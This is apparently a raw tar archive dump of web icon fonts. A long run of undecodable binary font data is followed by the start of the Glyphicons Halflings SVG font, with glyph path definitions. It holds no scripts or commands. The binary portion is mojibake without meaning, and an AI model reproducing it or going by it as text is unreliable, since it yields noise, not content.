&�������ǯ�0e����Dͨ�YNiK��3���ؙ�wS�J�Sϻo���]��[9�kf:��v����Q4��yuSp�{��lr�Ì{���mk��n:�|�� ��S�o�1=I�)YBKThEn"��eM	�#Ѥ�n���n�O�"yQ>��/����1�ѡ"�ϣ�Ee�)��'B�r�f5&�"7wd���>�S���H���YN���N�t_�{(�6�9��u��{�
�}���0A_A*!S�A��%#�X(�c��s�M뷭'��>��?Xz�|�LO��?(������ Ț��g�w�x۽v�_�����64+V�]��iD��
W�z��yR��&c���n�X�=�%f,3�����{c6���f������B�.L�ܥ����ƞ������K���M[�O/���r���	TO��Ȣ�&ݘhk	!;n�Z���*��nZ?�Ḱ�8D��zI��ԏ�������.{��՟"µ;�ן��y��x�/�
���*۵w�����؁F�tIV��c27��41<F�x,Y�}Z�Y��1���#7p,NJ����;�+���ģ%f��S��ӑC�������$6�&���&43X�r�R�\@$�[.�[�\*&Ʊ~P�(���T/-x�VL`��SR��@{�l3�����}�;_9oy�o��L��__9ry����m��u����H�c���._�˭�����Z���~�{��7��o��$��(���M6�v���ߡ��w�<��B�u��"W��7���|~�o���=Bh�E~���	�j�fqE���M0��8ԩkN����%���
.a��Q
^�X�_!���G�_}�|��z���H��ږk�6� M���n�'a̲m9���i]@{��dY�|��&(�@Ej��ELWlf�P�Jj3��MG%Y��}��|'�+*!���/�ƒ)���7&
M�8�~����PGH?oY�F���=�m��=��
?:[����Ͳ��W	U:|\C
�o83�D��5{��2V��WH>Wc���EҕZ��a,\naŬ\=���k��.���v��A�m9���`��H��{D	�Y�6�����S
����vP�eu�����a�&��T�#9�9��+�����+�!�p�D^�_��{r�f3�*B{Ԓ�����h�&�'���|�����
9`P��,f��Z�:�B�4�@��[��XMu�]���-��Z6R��,s�\�ޓS~���U=4a�ˤ������
�^~�'axZ�����9���/խ��R�]�w��t� �r`��{����5�H�=����>J`�v6QҢ��̓Y6@r"��9���ş�i/���%���#�U�h3W�GG�Hfx��i�xC�L�!Y[d�Y��/)��)Gx�nu�}���k��f����VXM����r�xn	�|�}
V�<W�D�g�Z"��s(O�l9As�1�����*q���Fm�,~�7@
�	RI�p���s��Ǩ
g��i�-i��[f;�]�6��gz�}͵��[doS��[=z�/�f���	�̅3�3.&g*�gȢ�۽OP�$<7,׿�`�&����Wj�מ��#�z�C�C�c��R��BwAB'wJ�T�+��޽���ڿ�O��?�#/ҏ}��C]�Y������7]�u�X���qiX�h,���ɱ(����W(��(X�,�e,��Ƀ^"�&9E�*B<����u�#��������T�i���{��]E0�_:r�s؆�å�~�����u�iW�Imͯ|?��� W|���\��Ql�[V�s3Wn��LP//���X)%,q�����83��"����sY�.���ɸ�.�ں����s��Z'�$i��{��r�A.P=�I7�2�ᓅ�v�h^�Kq�]��{������@�;�yr5����
�x
��ݧ��%I;��"��Z�C�:�N�{7K��Y�݃ Q� ���o�����!��
(ǁ���/y{�2��	ԫ\�)`�'`�Z~��b��FP���Ѥ�h�9/y�vSS���p��V�v��z
I��钓7퐚��S��'n669�r�]z�XE� �"o�ܷV�v�Z�����Ѷ��u;�Y6�BƗz�iY���o�^06��šwkr�<�9q-�fr�H;=;��XO��ʖgR10�i7D��=�MZ�X�2���F�`�4��ӂ僶f���.�J�,�Y�K�L�IuQ��}j���}
a�����T�v� '$,j����eN>�b$��q��eu�K$O�)�����x�E'[�O��Hr�=1�̢����~��2r�˥�/���)y��������՟�@��5ߴ:�f,D�!��\ۈz��V
ƚq�ε�,���
ؿ�ܮ y�gyrp���(��C_K;W�}��%G��r�i"a��N%��ȩ��I���0l�j�>�T>� KQ��HA��G���#ˮq&�}��y�`�g����l���?��7zZ��ZF�K7����d�_곮��mg4l�TЁ�CW�q��:�*�Z܂p�=������cN�e�h�W�aN�E��!cP̱��Z����~`	�v0>�������D�ʒ!�`-!1��$�'��5B�yyV�T�IPw'N�f{�y
Y>����?b��߲�=���m٬ ��o��/n�]j'V��KO�gY+=��p�;`��w��?��>R�J.�`w��_^�=�T�>�9`��U�O�T����8��âޒӆX��f�q��d���~��|"*�AA2�����>�#)ЖȽ���!��k��=�����焗H�t�\�O��\��ͬYb�*c�ֳ,,u��>Kn��*[8��U��K�aI
Rt5���i�q���~�AC�e�<����^n��2<K=��ê�X��N{�pu ��rɀ>w��4$�D��=�D���T'R�R���h�M�iy
�q�X��,uX�X��ҹ�LJqD3m<1
��T�2
���l�ʴ��ܗ��j��uRF�������d�އ0�c�z�<��0x����e뮽��?����{�-;t��[��=�Kv����>qɺ
x�M����z����E�r��Wo�v:=F��IYt�a��3»�u�J|f$���F�1�ڗ&�]�+�ua��8�)�d�ㅴ��Kᔇ+SƔ�)����F��_޼p�4?��55c����}�!SZ�)q�����i�c�l��]Y�H��"o
U��jrۚ��6��#�	�`��>����V͖��l���R�Y���N���69��ق�!B��`��n�%��)�J6Ķ4���1e¢{�Wij����<�:�b&���j��|���_�
���.#!&�'a6	�������n�`��)%"�v� ��}6A���"�ƔӪJ�+.�%$�M�=)��l�G�Ú~+��AR @�>ՠ|0&��'�>��쿻K��#��]�c�ig��;]���~�w�yw�����fF�v�.�h�ó�G���3�*{�VQ�h�U\�*�3��&�4�?T���aY�S�-�vB�8��B�`s)�`j�!w�m�<�6V']�|ܸ��t������{9�
�UZ�F�Fe��-͕8S�X�����$���.n���ˊX̭�R�-�6OpgS�
�U��j
�V����dFs�b�ˠ3�������!��i1v�X�ŕ��@]�Jc�Ա�ꩣ�h�	�N;�5�^i@�����0i`��NZs�M��1�
�����ad#�,Ċ����W{��J7U�`��}��U0�Z�"����$�������+�y.-\;7$�/j�{`�g��9-P�f���� �͖�(��N0w�[�hH�U�V��vbW����dž�ڰ�4�W��7uj=��(T��c+Q	�m�Q�U�{��ϛ�13@%t���ɬξ��a�lc�7Z\.eP:��t}|�w�Xu!�
�O=el?%�+�	V[�ktIK:Q}����ԓ:Z�%f�㲃�Ӛȑ�H��EH�8͂ng����#ߎ���Ç;�{|��\n�/���ȱ׸��;+A���T�8�&}mI�B`����<��ZD�ou�0�GSܥl��0�\���k
��~������$�]��x°�B��^�c|�)8#�e���9�6���;�N����b�6i���Q��NW��{N5�3Z�~/9�whS_@=k�I:�訴�7̛)��_�`ͦS��9�+��4�z::��W�ɬ��XL�J�G>�s��)�Ź���sZ[��B^�w�s�i=�I��ؼ�g���5Z�Ï1?�J�O����k�|���4��HY����JH:��jx���k��>Ar�L���W�B�PX��}�|*-�V�
�0O��;)��+_�y����R|ݼE/�-�:�X8wV~M"�����W_n�3o��Y�gm�"�x�\�u��7�����S/^��oV�Y7-<aV���Uɦ�'�N����l��7/ڸ�gW����?��x���l��P`�	m~���>��d�V���S��|/M�qs�g�!Ms��Iԯ����Pa�;=$��nK(^`���K6�	�s�߆��+�s��{fa.Ϙ�S�_:۝·�u������d{��/;��0��FXԲvS�Ⱥ����U_ЎT�dh��&7(�F��=z� �T��e\��Qw��2x�CO~�8��T�h�~h���ڢ�-%���Y��"�������?�?�
�`c1��F�do�/��WB偀�&����[k��tt8H�h�x�gd���v�N�-'~����⧜@R���߀1�����i����5f˝"J����ttUˮ~<�k.�!\�@� �e%H����F4:ݡA��B�:��Xg`M�f`V���N�H�k��78[ 1s�5�<���SF����ف�� �Xuo�A,r�x��� ��>oX��)=wE&�~��br��N�aSߒ9��U�����Ni�u��fIZ��'ׯ&���:�J���/�~�<i�J��5�¹'.��U���<o��OZ���׵m�á.�b���w�F;ݷ�Y`���/��p'r;9���*�&q9��N��j�C��q Ӑ�0�5ߞ-�i�C?v,���K�X���y+0+ď
n��E'"������D�o&�8�ZP5��Zv)N.������
�H�H��>9C2*ްS.}�-
�\�a{�%i6Lj؀�&��^�Y�to|��>8Uk�do��h7yM*���&Ei�?G�|!�l0۾2ա�"�Z��F�"�d�[+���S�=�m}��ޥ�!���ڤD�	G�X��
�Y$�/�
sE1h��#:�v�l)ܽ�����gk�LK�秃򡵊*Y���Lc�D㲙�w��N*���'���R
9�M��z|MF�s����0�j�i�	��j����4?�z��!
����*��A˧Ç`J�]�/Zj�y��J�R� w���f��]��z<(���F=
O3ɰ"p%���@jvY�qp�Y�}�1��	2k�T5������"��9�x.:��[� !h�W<�ZƆD���8h}a����K�;
Q�$�j��2��.��m�"�7� �TY�e	�pѸW(ˆ���Z�&��e��V#$F�XV��2(5��=<���S���0�*
�@�Hr�85��T9�
Kq(.���dS�gi���BP�(��m!�jF�1[p��%���\$�x$��LV�=}�
v����v�p`��A�s��ڠ�	��ڪq7�2��:����o�����p��D�w#&e7��ƶX$FţYч��CG�N�(��LY����o2	
=c�T#��p��F�x��\�K$�˚mc�D,Vs5���Wm�R؝�ʒՃK0)����l}3��$fp[M(Z#�^�����rJ]��:0����N[u���w�Z^'�ׁ�B*[�aq#��'��S����0 k
x��X�GVo�1^��<�$Z+��bO��B�G��Q,^��RFV���ىwN��9��ciuXb�ќM|*4(2T�Ē+5{p36]��d=��G��|�	@V�r}B��{���R�v��x��
ol����ڄe�cM��x����G&C[D���Nۨ����y"���������nX)O���0�
rc�1u�`ŀ�u7��3�Y@�JԄ�gmh��	,�!<�1��u����*u��ƒpU�G�G�Q`
p��G�C�W�����V�^V!�
ҚTH�`���h"��R��]�ˀj'_��Hz��`6��v>�4��0?���&��e_�s��K}�W�����T�E�M����W�^��[J#?@3�+5���K��4wD�wl[��-�Z��撵f�U����b�#�Paf'mA�c�ɳzcr�Q9���U�
 ��[�V�%����C\+wr
N']@�X���2�M�;0����-�V�vA�c4+VL�p,N�e�]+�NI5/+�-�0'1A+j3gŵ��釶,)>��3�x?9|��$�s_��:3^����d��~��)�+��kn��C8<�U,���F���H�t��h�8�n�VT��1J6�K�[��ךG�G�b�W�9~!�O_� ���=/]��/׺4Ї8*�P���'��a���������;����:�'/��0[;ab�X�EO�`�ad��-Yn��wN���vs�&h�p�.,D��3����Q���5��7����fw�X�I��lY��Lo/��)���9��=��_���om��w���'��>0:+;�|.�}��1̕*���ϸ�b�ᭃ�1W)!*c�h#n��8r����O���缺��o���8�۳
�	�#}8<ٿ�*�U�A�v�W����@���;�aPp8�Y��h�Ag�:��xfZ�d�bG9V4�5=f���	��+�=�g���G? .�j��*<9:���)^Xi���U��h�����pd�F�>,B�=S��l?�=F*~��
DK�F�]6�T�a��1�Ҋp�ecI$H9�^	{w��߅�`��.�mo�
���b��9$\P��7L��yh���@��I!t��P6:'��/�Fځ�+A���*k�������(`��0�����mق붒����4B�������<�:�Ux�R�'F��ªrq���`
�U�������O��j*>��
����ҋ(�>z�����>�福��b}@;��M�U� ��DSv�|N�07����Ӆ���Y[�:��؂ă��X���e"��a���L�h�:��f�F�c��J��^�������T�ip:m���f���k!Y�
X�Q���l�dj��f2�B�)Ł����8\Z�cS���ZǡBs�̔S&�0M�֟�U�V�OGF����d�v�u��8��{��l'��&�J�|��/)���A�%�3���,�\5�H���V�>Co�����HVZOf�bR�>Qp�j��W�YGFV�	�F�x�~&��tZ�����:�`V?�#i��Z3h�	��+��i��n�Bcyc=��7�y-^*�f�Q��Պ��>�K5a_g�˘�fn�R�`�r���M�W��b5�xox���b6[�O��F�V�n
����k\����@{\�c1�����J�oou�G��kAK���@�0#�Fm9-W-�Vڵm���9���)|f�gh��=BG�9}n���e�<M���AR\vp;,���$@�r8����D�l �o^�m������$�Sߒ�͜If�!l�?�[ȝc��~���F�s�\��4������C}�즥<n/�{2����,h��<�*�؋y�V��J�IEI>��,r�L�q4R��uE��b�x+,S�c�L����2:�r�~�8f֏T�9�R]�譏¸�8��U�a.�q���l҇�@�d*�*�vi���~��u--�����xz]W߽m�y[d���n�#��;���;%�������m���"�x_��Gr�q}��'�3Z34G�Li.}rjڑ�`m�d{v%�!H�wX�"�*��'����&�d��ETŋݟA�O��Ct�A.�}�՛W'}��KJ�K�Bz�
�$�;�1X�����lqv�ٜ=��9H&+�#���l�d��;r^lw�?�ĨS��Ub�P*��	=�J��-j���_�
�����μQ%Ma�V�u��/Y�O�8&|�z��
�M���}�4��7k���=̴cMk-���Qigi��b{2�Xc�z���V�
h�(�v��]O��0���%>'��3{%`U؉5��k���j���o���]��$���
�`$��Ί8'��Ð���9֭ߐC�!��_^���z���4��2<���՞`F��
ޱc/b��]d����p
|:��؀|<N��
u�ѧ�a$N��	���S�i��M���>���e�7������!���
u�T��5
9����	��`.M�=8��q�U�8슯��bZ�
���LqM�NUd޵k*Ϩ�kN��K�?�,�`L�G��`ok��;�ݏ�W�*�%o%��1�0c��~�di�7w�uP�i����?��x��w�HN3-0�q�kw��-�&χ8�g�<
SG��a�G[S�C,����8���?n��S�(A�cg8��9�\XUS�[6���شװy����-��>/x���p�5��ű�U�|����>2#4�{ԇ'���j���q|™R����~�\@nLR&Le��fa,�������&Z���!?���c�U{Ukw��F��"Wjj�^O͋5ӓG�����DQ���д$:�x�?�9Y�"�*t�q��B���&��	a�˅�4@C�5:�'=�1��QS��kqx� ?M��7;E��D�!Š
�������k>�>�M&�o��/D��=��.4���ɍtA`�Q�[�5:��:��h��ؔi@�IG�|���8�0X���Z ��'j�Y*�;a#^�>G�؄ˇ��gv�EJ�X�F�p�ɪ��N��(�scD��
>�W��&��u���I�e4X�?����C�K�	\���4��jI�3RL��;�`f�`�s�`!���Q��1ѥ�fPU=Qز��
\���CL�q���!�]>��`��j�bͼP����v\��
2r��'�ܚ��z��/���=�̢7y��O_���ƫ�`��ؤ�_{��8n����C��Xc�0�,
�aE1L��K�(L��3��s^P8��_|�x�T@p� ���K���%Pt�$G�)(ɡaF��L��I�_��������{�\�W�g�~� �5��x}*�I)2��\k�DqH�0�)��vMF�p��.�K�oɅ��u���yգ�ü�B�@~���-�0�����d�.�D�:�f���Jt	�������x�c`d```dp�[1%���+�<��ùX�Z���ֻ�@.HJ@�x�c`d``���&��]f��A��;Kx�c������	���L=��q�100܄��@>���� 9��,����3���|@,Q���
ò@�U+��� ��4Ќ9P=�>�͂��_X0H/��pqS$�lҊ���
5&6�/Ţf~�}�NF��;�l ͌�ɂ�o>�H|%h8���@���X�7������B�0b�C��"�倊'B��
gE�,G �0�����'��G(Ƅ��dAg@)` ��sP!H�O�?�*a�{x�c``Ђ�4�%� ��c
�"�c���1�1�`:��Y�ه�Kk
���#v�
�/8�pp&pN���r���z��=����&^9�
�5|6|I|=|��o	�	t	\�T�"$"� tCXD�G�K$Ad�������^�-��$�$$�HjIN��%�!U%�E��#i!i=i��-��?���D�,�y#k �O�G�C��<�}�X4\r�>(f(RrP:�\��FEHe��U!�6�Y�TߨE����Q{�Σ��~J�@#Fc�����4�'�q�+���X���nӽ��ץ�I��@�`���a��#&�5�Q�]&"&sL��&��003[g�be������KK�6�#VV>V%VG��������لٜ�5��f����n��{9��~���98=s.s~�����Ez���xڭ��N�@�O�F�$��p�ƆAVƅ�O$�.�T
m,RI|
���.}}�…��0"A��f�|s��3wn`�� �(�hC��Η\
X�
n�ǽ���8�>O�F�*�FV{T<����8B~W<�e}Q�9�8J>U����U�+�]���]s;�Ys�؄}\���&�0�D	�HU��9:�w�#��Lz6��5F|��s�s��^0r�7?C	El��C�̸"�48l�[�9b��kz�)	f�e-��
�
�~*��i��c,�D���+{0ZSIjV��&#����0��mm���)b􊓫츉�9�=��o9�KM��5���+{��VU��
j�[L�UVY��v�=�W=-sדެ��s�iS�����L��x�m�UהeF�ـ`��ݭs����(������(*vwwwwawwǁ?Ÿ�����9���z�z��=k:c:^�����{���0�������I�c�3�EY��Y�%��$�bi�a���,����ʬª������ڬú��l��l��l¦l��l��lE�PУ�������löl��Lf'vf
F؅]ٍ�ك=ً�ه}ُ�9�9��9�C9��9�#9��9�c9��9�9����4�s
�2�Ә�,fs:s8�3��Y��9��\��|.�B.�b.�R.�r��J��j��Z��zn�Fn�fn�Vn�v��N��n��^��~�A�a�Q�q��I��i��Y��y^�E^�e^�U^�u��o�o�������	����_�_�
����?�?�������:c��i�0w��n�;e����m1���p{n�Vn�6n����-F�[��̝3k���Cn�x���x���x���>���щNt���Ջ^��B��+�
�B��+�
�B�����zz=��^O�������J�R��+�J�R��+�J�R�ҫ�*�J�ҫ�*�J�ҫ�j�Z�֩uj�Z�֩uj�F��^�^���5z�^���5z�^���z�^���z�^������z}��^_�?�b����}�?�ѭ��]����#�����c�����?�����c�����?�����c�����?�����c�����?�����c����}�>v�����c����}�>v�O�g�����?�����c�����?�����c�����?�����c�����?�����c���,쾯�:���&�3%�����K�PX��Y�F+X!�YK�RX!��Y�+\XY�+R7a�fonts/glyphicons-halflings-regular.svg000060400000172602150710775200014211 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="glyphicons_halflingsregular" horiz-adv-x="1200" >
<font-face units-per-em="1200" ascent="960" descent="-240" />
<missing-glyph horiz-adv-x="500" />
<glyph />
<glyph />
<glyph unicode="&#xd;" />
<glyph unicode=" " />
<glyph unicode="*" d="M100 500v200h259l-183 183l141 141l183 -183v259h200v-259l183 183l141 -141l-183 -183h259v-200h-259l183 -183l-141 -141l-183 183v-259h-200v259l-183 -183l-141 141l183 183h-259z" />
<glyph unicode="+" d="M0 400v300h400v400h300v-400h400v-300h-400v-400h-300v400h-400z" />
<glyph unicode="&#xa0;" />
<glyph unicode="&#x2000;" horiz-adv-x="652" />
<glyph unicode="&#x2001;" horiz-adv-x="1304" />
<glyph unicode="&#x2002;" horiz-adv-x="652" />
<glyph unicode="&#x2003;" horiz-adv-x="1304" />
<glyph unicode="&#x2004;" horiz-adv-x="434" />
<glyph unicode="&#x2005;" horiz-adv-x="326" />
<glyph unicode="&#x2006;" horiz-adv-x="217" />
<glyph unicode="&#x2007;" horiz-adv-x="217" />
<glyph unicode="&#x2008;" horiz-adv-x="163" />
<glyph unicode="&#x2009;" horiz-adv-x="260" />
<glyph unicode="&#x200a;" horiz-adv-x="72" />
<glyph unicode="&#x202f;" horiz-adv-x="260" />
<glyph unicode="&#x205f;" horiz-adv-x="326" />
<glyph unicode="&#x20ac;" d="M100 500l100 100h113q0 47 5 100h-218l100 100h135q37 167 112 257q117 141 297 141q242 0 354 -189q60 -103 66 -209h-181q0 55 -25.5 99t-63.5 68t-75 36.5t-67 12.5q-24 0 -52.5 -10t-62.5 -32t-65.5 -67t-50.5 -107h379l-100 -100h-300q-6 -46 -6 -100h406l-100 -100 h-300q9 -74 33 -132t52.5 -91t62 -54.5t59 -29t46.5 -7.5q29 0 66 13t75 37t63.5 67.5t25.5 96.5h174q-31 -172 -128 -278q-107 -117 -274 -117q-205 0 -324 158q-36 46 -69 131.5t-45 205.5h-217z" />
<glyph unicode="&#x2212;" d="M200 400h900v300h-900v-300z" />
<glyph unicode="&#x2601;" d="M-14 494q0 -80 56.5 -137t135.5 -57h750q120 0 205 86t85 208q0 120 -85 206.5t-205 86.5q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5z" />
<glyph unicode="&#x2709;" d="M0 100l400 400l200 -200l200 200l400 -400h-1200zM0 300v600l300 -300zM0 1100l600 -603l600 603h-1200zM900 600l300 300v-600z" />
<glyph unicode="&#x270f;" d="M-13 -13l333 112l-223 223zM187 403l214 -214l614 614l-214 214zM887 1103l214 -214l99 92q13 13 13 32.5t-13 33.5l-153 153q-15 13 -33 13t-33 -13z" />
<glyph unicode="&#xe000;" horiz-adv-x="500" d="M0 0z" />
<glyph unicode="&#xe001;" d="M0 1200h1200l-500 -550v-550h300v-100h-800v100h300v550z" />
<glyph unicode="&#xe002;" d="M14 84q18 -55 86 -75.5t147 5.5q65 21 109 69t44 90v606l600 155v-521q-64 16 -138 -7q-79 -26 -122.5 -83t-25.5 -111q17 -55 85.5 -75.5t147.5 4.5q70 23 111.5 63.5t41.5 95.5v881q0 10 -7 15.5t-17 2.5l-752 -193q-10 -3 -17 -12.5t-7 -19.5v-689q-64 17 -138 -7 q-79 -25 -122.5 -82t-25.5 -112z" />
<glyph unicode="&#xe003;" d="M23 693q0 200 142 342t342 142t342 -142t142 -342q0 -142 -78 -261l300 -300q7 -8 7 -18t-7 -18l-109 -109q-8 -7 -18 -7t-18 7l-300 300q-119 -78 -261 -78q-200 0 -342 142t-142 342zM176 693q0 -136 97 -233t234 -97t233.5 96.5t96.5 233.5t-96.5 233.5t-233.5 96.5 t-234 -97t-97 -233z" />
<glyph unicode="&#xe005;" d="M100 784q0 64 28 123t73 100.5t104.5 64t119 20.5t120 -38.5t104.5 -104.5q48 69 109.5 105t121.5 38t118.5 -20.5t102.5 -64t71 -100.5t27 -123q0 -57 -33.5 -117.5t-94 -124.5t-126.5 -127.5t-150 -152.5t-146 -174q-62 85 -145.5 174t-149.5 152.5t-126.5 127.5 t-94 124.5t-33.5 117.5z" />
<glyph unicode="&#xe006;" d="M-72 800h479l146 400h2l146 -400h472l-382 -278l145 -449l-384 275l-382 -275l146 447zM168 71l2 1z" />
<glyph unicode="&#xe007;" d="M-72 800h479l146 400h2l146 -400h472l-382 -278l145 -449l-384 275l-382 -275l146 447zM168 71l2 1zM237 700l196 -142l-73 -226l192 140l195 -141l-74 229l193 140h-235l-77 211l-78 -211h-239z" />
<glyph unicode="&#xe008;" d="M0 0v143l400 257v100q-37 0 -68.5 74.5t-31.5 125.5v200q0 124 88 212t212 88t212 -88t88 -212v-200q0 -51 -31.5 -125.5t-68.5 -74.5v-100l400 -257v-143h-1200z" />
<glyph unicode="&#xe009;" d="M0 0v1100h1200v-1100h-1200zM100 100h100v100h-100v-100zM100 300h100v100h-100v-100zM100 500h100v100h-100v-100zM100 700h100v100h-100v-100zM100 900h100v100h-100v-100zM300 100h600v400h-600v-400zM300 600h600v400h-600v-400zM1000 100h100v100h-100v-100z M1000 300h100v100h-100v-100zM1000 500h100v100h-100v-100zM1000 700h100v100h-100v-100zM1000 900h100v100h-100v-100z" />
<glyph unicode="&#xe010;" d="M0 50v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400q0 -21 -14.5 -35.5t-35.5 -14.5h-400q-21 0 -35.5 14.5t-14.5 35.5zM0 650v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400q0 -21 -14.5 -35.5t-35.5 -14.5h-400 q-21 0 -35.5 14.5t-14.5 35.5zM600 50v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400q0 -21 -14.5 -35.5t-35.5 -14.5h-400q-21 0 -35.5 14.5t-14.5 35.5zM600 650v400q0 21 14.5 35.5t35.5 14.5h400q21 0 35.5 -14.5t14.5 -35.5v-400 q0 -21 -14.5 -35.5t-35.5 -14.5h-400q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe011;" d="M0 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM0 450v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200 q-21 0 -35.5 14.5t-14.5 35.5zM0 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5 t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 450v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5 v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 450v200q0 21 14.5 35.5t35.5 14.5h200 q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe012;" d="M0 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM0 450q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v200q0 21 -14.5 35.5t-35.5 14.5h-200q-21 0 -35.5 -14.5 t-14.5 -35.5v-200zM0 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 50v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5 t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5zM400 450v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5zM400 850v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5 v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe013;" d="M29 454l419 -420l818 820l-212 212l-607 -607l-206 207z" />
<glyph unicode="&#xe014;" d="M106 318l282 282l-282 282l212 212l282 -282l282 282l212 -212l-282 -282l282 -282l-212 -212l-282 282l-282 -282z" />
<glyph unicode="&#xe015;" d="M23 693q0 200 142 342t342 142t342 -142t142 -342q0 -142 -78 -261l300 -300q7 -8 7 -18t-7 -18l-109 -109q-8 -7 -18 -7t-18 7l-300 300q-119 -78 -261 -78q-200 0 -342 142t-142 342zM176 693q0 -136 97 -233t234 -97t233.5 96.5t96.5 233.5t-96.5 233.5t-233.5 96.5 t-234 -97t-97 -233zM300 600v200h100v100h200v-100h100v-200h-100v-100h-200v100h-100z" />
<glyph unicode="&#xe016;" d="M23 694q0 200 142 342t342 142t342 -142t142 -342q0 -141 -78 -262l300 -299q7 -7 7 -18t-7 -18l-109 -109q-8 -8 -18 -8t-18 8l-300 299q-120 -77 -261 -77q-200 0 -342 142t-142 342zM176 694q0 -136 97 -233t234 -97t233.5 97t96.5 233t-96.5 233t-233.5 97t-234 -97 t-97 -233zM300 601h400v200h-400v-200z" />
<glyph unicode="&#xe017;" d="M23 600q0 183 105 331t272 210v-166q-103 -55 -165 -155t-62 -220q0 -177 125 -302t302 -125t302 125t125 302q0 120 -62 220t-165 155v166q167 -62 272 -210t105 -331q0 -118 -45.5 -224.5t-123 -184t-184 -123t-224.5 -45.5t-224.5 45.5t-184 123t-123 184t-45.5 224.5 zM500 750q0 -21 14.5 -35.5t35.5 -14.5h100q21 0 35.5 14.5t14.5 35.5v400q0 21 -14.5 35.5t-35.5 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-400z" />
<glyph unicode="&#xe018;" d="M100 1h200v300h-200v-300zM400 1v500h200v-500h-200zM700 1v800h200v-800h-200zM1000 1v1200h200v-1200h-200z" />
<glyph unicode="&#xe019;" d="M26 601q0 -33 6 -74l151 -38l2 -6q14 -49 38 -93l3 -5l-80 -134q45 -59 105 -105l133 81l5 -3q45 -26 94 -39l5 -2l38 -151q40 -5 74 -5q27 0 74 5l38 151l6 2q46 13 93 39l5 3l134 -81q56 44 104 105l-80 134l3 5q24 44 39 93l1 6l152 38q5 40 5 74q0 28 -5 73l-152 38 l-1 6q-16 51 -39 93l-3 5l80 134q-44 58 -104 105l-134 -81l-5 3q-45 25 -93 39l-6 1l-38 152q-40 5 -74 5q-27 0 -74 -5l-38 -152l-5 -1q-50 -14 -94 -39l-5 -3l-133 81q-59 -47 -105 -105l80 -134l-3 -5q-25 -47 -38 -93l-2 -6l-151 -38q-6 -48 -6 -73zM385 601 q0 88 63 151t152 63t152 -63t63 -151q0 -89 -63 -152t-152 -63t-152 63t-63 152z" />
<glyph unicode="&#xe020;" d="M100 1025v50q0 10 7.5 17.5t17.5 7.5h275v100q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5v-100h275q10 0 17.5 -7.5t7.5 -17.5v-50q0 -11 -7 -18t-18 -7h-1050q-11 0 -18 7t-7 18zM200 100v800h900v-800q0 -41 -29.5 -71t-70.5 -30h-700q-41 0 -70.5 30 t-29.5 71zM300 100h100v700h-100v-700zM500 100h100v700h-100v-700zM500 1100h300v100h-300v-100zM700 100h100v700h-100v-700zM900 100h100v700h-100v-700z" />
<glyph unicode="&#xe021;" d="M1 601l656 644l644 -644h-200v-600h-300v400h-300v-400h-300v600h-200z" />
<glyph unicode="&#xe022;" d="M100 25v1150q0 11 7 18t18 7h475v-500h400v-675q0 -11 -7 -18t-18 -7h-850q-11 0 -18 7t-7 18zM700 800v300l300 -300h-300z" />
